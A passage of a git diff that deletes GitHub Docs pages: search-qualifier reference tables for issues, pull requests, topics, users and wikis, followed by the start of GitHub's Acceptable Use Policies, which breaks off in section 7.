commenter:@me](https://github.com/search?q=is%3Apr+commenter%3A%40me&type=pullrequests)** matches pull requests you have commented on. - -## Search for linked issues and pull requests - -You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close. - -| Qualifier | Example | -| ------------- | ------------- | -| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. | -| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. | -| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. | -| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. | - -## Search by label - -You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue. - -| Qualifier | Example -| ------------- | ------------- -| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. -| `in:body` -label:LABEL label:LABEL | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but _do_ have the label "priority." -| label:LABEL label:LABEL | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved." -| label:LABEL,LABEL | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved." - -## Search by milestone - -The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/issues/using-labels-and-milestones-to-track-work/about-milestones) within a repository. - -| Qualifier | Example -| ------------- | ------------- -| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul." -| milestone:MILESTONE | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix." - -## Search by project - -You can use the `project` qualifier to find issues that are associated with a specific project. You must search projects by the project number. You can find the project number at the end of a project's URL. - -| Qualifier | Example -| ------------- | ------------- -| project:PROJECT_NUMBER | **project:github/57** matches issues owned by GitHub that are associated with the organization's project 57. -| project:REPOSITORY/PROJECT_NUMBER | **project:github-linguist/linguist/1** matches issues that are associated with project 1 in @github's linguist repository. - -## Search by commit status - -You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/commits#commit-statuses) or a CI service. - -| Qualifier | Example -| ------------- | ------------- -| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending. -| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status. -| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status. - -## Search by commit SHA - -If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters. - -| Qualifier | Example -| ------------- | ------------- -| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`. -| SHA `is:merged` | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`. - -## Search by branch name - -You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch). - -| Qualifier | Example -| ------------- | ------------- -| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed. -| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch. - -## Search by language - -With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language. - -| Qualifier | Example -| ------------- | ------------- -| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories. - -## Search by number of comments - -You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments. - -| Qualifier | Example -| ------------- | ------------- -| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments. -| comments:n..n | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000. - -## Search by number of interactions - -You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request. - -| Qualifier | Example -| ------------- | ------------- -| interactions:n | [**interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions. -| interactions:n..n | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000. - -## Search by number of reactions - -You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| reactions:n | [**reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions. -| reactions:n..n | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000. - -## Search for draft pull requests - -You can filter for draft pull requests. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests#draft-pull-requests). - -| Qualifier | Example -| ------------- | ------------- -| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. -| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review. - -## Search by pull request review status and reviewer - -You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer. - -| Qualifier | Example -| ------------- | ------------- -| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed. -| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged. -| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved. -| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes. -| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person. -| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results. -| user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review. -| team-review-requested:TEAMNAME | [**type:pr team-review-requested:github/docs**](https://github.com/search?q=type%3Apr+team-review-requested%3Agithub%2Fdocs&type=pullrequests) matches pull requests that have review requests from the team `github/docs`. Requested reviewers are no longer listed in the search results after they review a pull request. - -## Search by when an issue or pull request was created or last updated - -You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier. - -Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#. -| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013. - -## Search by when an issue or pull request was closed - -You can filter issues and pull requests based on when they were closed, using the `closed` qualifier. - -This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| closed:>YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014. -| in:body closed:<YYYY-MM-DD | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012. - -## Search by when a pull request was merged - -You can filter pull requests based on when they were merged, using the `merged` qualifier. - -This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| language:LANGUAGE merged:<YYYY-MM-DD | [**`language:javascript merged:<2011-01-01`**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011. -| `in:title` language:LANGUAGE merged:>YYYY-MM-DD | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014. - -## Search based on whether a pull request is merged or unmerged - -You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `is:merged` | [**bug is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bug." -| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches pull requests with the word "error" that are either open or were closed without being merged. - -## Search based on whether a repository is archived - -The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository. - -| Qualifier | Example -| ------------- | ------------- -| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to. -| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to. - -## Search based on whether a conversation is locked - -You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/locking-conversations). - -| Qualifier | Example -| ------------- | ------------- -| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived. -| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived. - -## Search by missing metadata - -You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. These qualifiers cannot be combined with the minus (hyphen) symbol to exclude items that are missing metadata. That metadata includes: - -* Labels -* Milestones -* Assignees -* Projects - -| Qualifier | Example -| ------------- | ------------- -| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels. -| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint." -| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories. -| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a {% data variables.projects.projects_v1_board %}, containing the word "build." - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) diff --git a/content/search-github/searching-on-github/searching-topics.md b/content/search-github/searching-on-github/searching-topics.md deleted file mode 100644 index 99cd0aaefbae..000000000000 --- a/content/search-github/searching-on-github/searching-topics.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Searching topics -intro: 'You can search for topics associated with repositories on {% data variables.product.github %}.' -redirect_from: - - /articles/searching-topics - - /github/searching-for-information-on-github/searching-topics - - /github/searching-for-information-on-github/searching-on-github/searching-topics -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- -## Search {% data variables.product.github %} for topics - -You can search for topics on {% data variables.product.github %}, explore related topics, and see how many repositories are associated with a certain topic. - -1. Navigate to {% data variables.search.search_page_url %}. -1. Type a topic keyword. -1. In the left sidebar, to narrow your search to topics, click **Topics**. -{% ifversion fpt or ghec %} - ![Screenshot of the repository search results page for the search term 'jekyll' with the "Topics" option in the left-hand menu outlined in dark orange.](/assets/images/help/search/topic-left-side-navigation-dotcom.png){% endif %} - -## Narrowing your search with search qualifiers - -If you want to explore repositories about a certain topic, find projects to contribute to, or learn which topics are most popular on {% data variables.product.github %}, you can search topics with the search qualifiers `is:featured`, `is:curated`, `repositories:n` and `created:YYYY-MM-DD`. - -The `is:featured` search qualifier will narrow search results to the topics with the most repositories on {% data variables.product.github %}. These topics are also featured at https://github.com/topics/. - -The `is:curated` search qualifier will narrow search results to topics that community members have added extra information to. For more information, see the [explore repository](https://github.com/github/explore). - -You can filter topics based when they were created using the date parameter and `created:` or based on how many repositories are associated with this topic using `repositories:n`. Both of these qualifiers can use the [greater than and less than range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example | -| ------------- | ------------- -| `is:curated`| [**is:curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Acurated&type=Topics) matches topics that are curated and contain the word "javascript." -| `is:featured` | [**is:featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Afeatured&type=Topics) matches topics that are featured on https://github.com/topics/ and contain the word "javascript." -| `is:not-curated` | [**is:not-curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-curated&type=Topics) matches topics that don't have extra information, such as a description or logo, and contain the word "javascript." -| `is:not-featured`| [**is:not-featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-featured&type=Topics) matches topics that aren't featured on https://github.com/topics/ and contain the word "javascript." -| `repositories:n` | [**repositories:>5000**](https://github.com/search?q=repositories%3A%3E5000) matches topics that have more than 5000 repositories. -| created:YYYY-MM-DD | [**Serverless created:>2019-01-01**](https://github.com/search?q=Serverless+created%3A%3E2019-01-01&type=Topics) matches topics with the word "serverless" that were created after 2018. - -## Search repositories by topic - -You can use the `topic:` qualifier to find every repository connected to a particular topic. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-by-topic). - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) diff --git a/content/search-github/searching-on-github/searching-users.md b/content/search-github/searching-on-github/searching-users.md deleted file mode 100644 index ef0fe3d43304..000000000000 --- a/content/search-github/searching-on-github/searching-users.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Searching users -intro: 'You can search for users on {% data variables.product.github %} and narrow the results using these user search qualifiers in any combination.' -redirect_from: - - /articles/searching-users - - /github/searching-for-information-on-github/searching-users - - /github/searching-for-information-on-github/searching-on-github/searching-users -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- -You can search for users globally across a {% data variables.product.github %} platform, for example: across {% data variables.product.prodname_dotcom_the_website %} or across {% data variables.product.prodname_ghe_server %}. - -For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -{% data reusables.search.syntax_tips %} - -## Search only users or organizations - -By default, searching users will return both personal and organizations. However, you can use the `type` qualifier to restrict search results to personal accounts or organizations only. - -| Qualifier | Example -| ------------- | ------------- -| `type:user` | [**mike in:name created:<2011-01-01 type:user**](https://github.com/search?q=mike+in:name+created%3A%3C2011-01-01+type%3Auser&type=Users) matches personal accounts named "mike" that were created before 2011. -| `type:org` | [**data in:email type:org**](https://github.com/search?q=data+in%3Aemail+type%3Aorg&type=Users) matches organizations with the word "data" in their email. - -## Search by account name, full name, or public email - -You can filter your search to the personal user or organization account name with `user` or `org` qualifiers. - -With the `in` qualifier you can restrict your search to the username (`login`), full name, public email, or any combination of these. When you omit this qualifier, only the username and email address are searched. For privacy reasons, you cannot search by email domain name. - -| Qualifier | Example -| ------------- | ------------- -| `user:name` | [**user:octocat**](https://github.com/search?q=user%3Aoctocat&type=Users) matches the user with the username "octocat". -| `org:name` | [**org:electron type:user**](https://github.com/search?q=org%3Aelectron+type%3Ausers&type=User) matches the Electron organization's account name. -| `in:login` | [**kenya in:login**](https://github.com/search?q=kenya+in%3Alogin&type=Users) matches users with the word "kenya" in their username. -| `in:name` | [**bolton in:name**](https://github.com/search?q=bolton+in%3Afullname&type=Users) matches users whose real name contains the word "bolton." -| `fullname:firstname lastname` | [**fullname:nat friedman**](https://github.com/search?q=fullname%3Anat+friedman&type=Users) matches a user with the full name "Nat Friedman." Note: This search qualifier is sensitive to spacing. -| `in:email` | [**data in:email**](https://github.com/search?q=data+in%3Aemail&type=Users&utf8=%E2%9C%93) matches users with the word "data" in their email. - -## Search by number of repositories a user owns - -You can filter users based on the number of repositories they own, using the `repos` qualifier and [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| repos:n | [**repos:>9000**](https://github.com/search?q=repos%3A%3E%3D9000&type=Users) matches users whose repository count is over 9,000. -| `name` repos:n | [**bert repos:10..30**](https://github.com/search?q=bert+repos%3A10..30&type=Users) matches users with the word "bert" in their username or real name who own 10 to 30 repositories. - -## Search by location - -You can search for users by the location indicated in their profile. - -| Qualifier | Example -| ------------- | ------------- -| location:LOCATION | [**repos:1 location:iceland**](https://github.com/search?q=repos%3A1+location%3Aiceland&type=Users) matches users with exactly one repository that live in Iceland. - -## Search by repository language - -Using the `language` qualifier you can search for users based on the languages of repositories they own. - -| Qualifier | Example -| ------------- | ------------- -| language:LANGUAGE location:LOCATION | [**language:javascript location:russia**](https://github.com/search?q=language%3Ajavascript+location%3Arussia&type=Users) matches users in Russia with a majority of their repositories written in JavaScript. -| `name` language:LANGUAGE `in:fullname` | [**jenny language:javascript in:fullname**](https://github.com/search?q=jenny+language%3Ajavascript+in%3Afullname&type=Users) matches users with JavaScript repositories whose full name contains the word "jenny." - -## Search by when a personal account was created - -You can filter users based on when they joined {% data variables.product.github %} with the `created` qualifier. This takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| created:YYYY-MM-DD | [**created:<2011-01-01**](https://github.com/search?q=created%3A%3C2011-01-01&type=Users) matches users that joined before 2011. -| created:>=YYYY-MM-DD | [**created:>=2013-05-11**](https://github.com/search?q=created%3A%3E%3D2013-05-11&type=Users) matches users that joined at or after May 11th, 2013. -| created:YYYY-MM-DD location:LOCATION | [**created:2013-03-06 location:london**](https://github.com/search?q=created%3A2013-03-06+location%3Alondon&type=Users) matches users that joined on March 6th, 2013, who list their location as London. -| created:YYYY-MM-DD..YYYY-MM-DD `name` `in:login` | [**created:2010-01-01..2011-01-01 john in:login**](https://github.com/search?q=created%3A2010-01-01..2011-01-01+john+in%3Ausername&type=Users) matches users that joined between 2010 and 2011 with the word "john" in their username. - -## Search by number of followers - -You can filter users based on the number of followers that they have, using the `followers` qualifier with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example -| ------------- | ------------- -| followers:n | [**followers:>=1000**](https://github.com/search?q=followers%3A%3E%3D1000&type=Users) matches users with 1,000 or more followers. -| `name` followers:n | [**sparkle followers:1..10**](https://github.com/search?q=sparkle+followers%3A1..10&type=Users) matches users with between 1 and 10 followers, with the word "sparkle" in their name. - -{% ifversion fpt or ghec %} - -## Search based on ability to sponsor - -You can search for users and organizations who can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). - -| Qualifier | Example -| ------------- | ------------- -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Users) matches users and organizations who have a {% data variables.product.prodname_sponsors %} profile. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) diff --git a/content/search-github/searching-on-github/searching-wikis.md b/content/search-github/searching-on-github/searching-wikis.md deleted file mode 100644 index 0f7299ba880f..000000000000 --- a/content/search-github/searching-on-github/searching-wikis.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Searching wikis -intro: 'You can search wikis on {% data variables.product.github %} and narrow the results using these wiki search qualifiers in any combination.' -redirect_from: - - /articles/searching-wikis - - /github/searching-for-information-on-github/searching-wikis - - /github/searching-for-information-on-github/searching-on-github/searching-wikis -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- -You can search wikis globally across all of {% data variables.product.github %}, or search wikis within a particular repository or organization. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -{% data reusables.search.syntax_tips %} - -## Search within a user's or organization's repositories - -To find wiki pages from all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To find wiki pages from a specific repository, use the `repo` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**user:defunkt**](https://github.com/search?q=user%3Adefunkt&type=Wikis) matches wiki pages from repositories owned by @defunkt. -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Wikis&utf8=%E2%9C%93) matches wikis in repositories owned by the GitHub organization. -| repo:USERNAME/REPOSITORY | [**repo:defunkt/gibberish**](https://github.com/search?q=user%3Adefunkt&type=Wikis) matches wiki pages from @defunkt's "gibberish" repository. - -## Search within a wiki page title or body text - -The `in` qualifier limits the search to the wiki page title or body text. Without the qualifier, both the title and body text are searched. - -| Qualifier | Example -| ------------- | ------------- -| `in:title` | [**usage in:title**](https://github.com/search?q=usage+in%3Atitle&type=Wikis) matches wiki page titles with the word "usage." -| `in:body` | [**installation in:body**](https://github.com/search?q=installation+in%3Abody&type=Wikis) matches wiki pages with the word "installation" in their main body text. - -## Search by last updated date - -The `updated` qualifier matches wiki pages that were last updated within the specified date range. - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| updated:YYYY-MM-DD | [**usage updated:>2016-01-01**](https://github.com/search?q=usage+updated%3A>2016-01-01&type=Wikis) matches wiki pages with the word "usage" that were last updated after 2016-01-01. - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) diff --git a/content/search/index.md b/content/search/index.md deleted file mode 100644 index c457e2b8560d..000000000000 --- a/content/search/index.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Search -hidden: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - diff --git a/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md b/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md deleted file mode 100644 index bcd0a3a23f26..000000000000 --- a/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: GitHub Acceptable Use Policies -redirect_from: - - /articles/github-acceptable-use-policies - - /github/site-policy/github-acceptable-use-policies -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -**Short version:** _We host a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the Service, you must comply with our Acceptable Use Policies, which include some restrictions on content and conduct on GitHub related to user safety, intellectual property, privacy, authenticity, and other limitations. In short, be excellent to each other._ - -Capitalized terms used but not defined in these Acceptable Use Policies have the meanings assigned to them in your main agreement with us — the [GitHub Terms of Service](/site-policy/github-terms/github-terms-of-service) or GitHub Customer Agreement, or the [GitHub Corporate Terms of Service](/site-policy/github-terms/github-corporate-terms-of-service) or other legacy GitHub contract, or a Microsoft volume licensing agreement. For customers subject to the legacy Corporate Terms of Service, "you" and "your" refer to "Customer" or "Users". "We", "us", and "our" refer to "GitHub". - -## 1. Compliance with Laws and Regulations - -You are responsible for using the Service in compliance with all applicable laws, regulations, and all of our Acceptable Use Policies. These policies may be updated from time to time and are provided below. - -## 2. User Safety - -We do not allow content or activity on GitHub that: - - - -* is unlawful or promotes unlawful activities; - -* is [sexually obscene](/site-policy/acceptable-use-policies/github-sexually-obscene-content) or relates to sexual exploitation or abuse, including of minors; - -* is libelous, defamatory, or fraudulent; - -* is [discriminatory or abusive](/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination) toward any individual or group; - -* is [false, inaccurate, or intentionally deceptive information](/site-policy/acceptable-use-policies/github-misinformation-and-disinformation) and likely to adversely affect the public interest (including health, safety, election integrity, and civic participation); - -* [harasses or abuses](/site-policy/acceptable-use-policies/github-bullying-and-harassment) another individual or group, including our employees, officers, and agents, or other users; - -* [threatens or incites violence](/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content) toward any individual or group, especially on the basis of who they are; - -* [gratuitously depicts or glorifies violence](/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content), including violent images; or - -* is off-topic, or interacts with platform features in a way that significantly or repeatedly [disrupts the experience of other users](/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users). - -## 3. Intellectual Property, Authenticity, and Private Information - -We do not allow content or activity on GitHub that: - -* infringes any proprietary right of any party, including patent, trademark, trade secret, copyright, right of publicity, or other right; - -* unlawfully shares unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys, including extension of a free license beyond its trial period; - -* [impersonates any person or entity](/site-policy/acceptable-use-policies/github-impersonation), including any of our employees or representatives, including through false association with GitHub, or by fraudulently misrepresenting your identity or site's purpose; or - -* [violates the privacy of any third party](/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy), such as by posting another person's personal information without consent. - -## 4. Spam and Inauthentic Activity on GitHub - -We do not allow content or activity on GitHub that is: -* automated excessive bulk activity and coordinated inauthentic activity, such as - * spamming - * cryptocurrency mining; -* bulk distribution of promotions and advertising prohibited by GitHub terms and policies; -* inauthentic interactions, such as fake accounts and automated inauthentic activity; -* rank abuse, such as automated starring or following; -* creation of or participation in secondary markets for the purpose of the proliferation of inauthentic activity; -* using GitHub as a platform for propagating abuse on other platforms; -* phishing or attempted phishing; or -* using our servers for any form of excessive automated bulk activity, to place undue burden on our servers through automated means, or to relay any form of unsolicited advertising or solicitation through our servers, such as get-rich-quick schemes; -* incentivized by (or incentivizes inauthentic engagement with) rewards such as cryptocurrency airdrops, tokens, credits, gifts or other give-aways. - -## 5. Site Access and Safety - -We do not allow content or activity on GitHub that: - -* directly supports [unlawful active attack or malware campaigns](/site-policy/acceptable-use-policies/github-active-malware-or-exploits) that are causing technical harms — such as using our platform to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers — with no implicit or explicit dual-use purpose prior to the abuse occurring; or -* uses our servers to disrupt or to attempt to disrupt, or to gain or to attempt to gain unauthorized access to, any service, device, data, account or network. Please note, activities permitted under bug bounty programs, such as the [GitHub Bug Bounty program](https://bounty.github.com), are not considered “unauthorized,” but must only affect the organization whose bug bounty program authorized the activity. - - - -## 6. Services Usage Limits - -You will not reproduce, duplicate, copy, sell, resell or exploit any portion of the Service, use of the Service, or access to the Service without our express written permission. - -## 7. Information Usage Restrictions - -You may use information from our Service for the following reasons, regardless of whether the information was scraped, collected through our API, or obtained otherwise: - -* Researchers may use public, non-personal information from the Service for research purposes, only if any publications resulting from that research are [open access](https://en.wikipedia.org/wiki/Open_access). -* 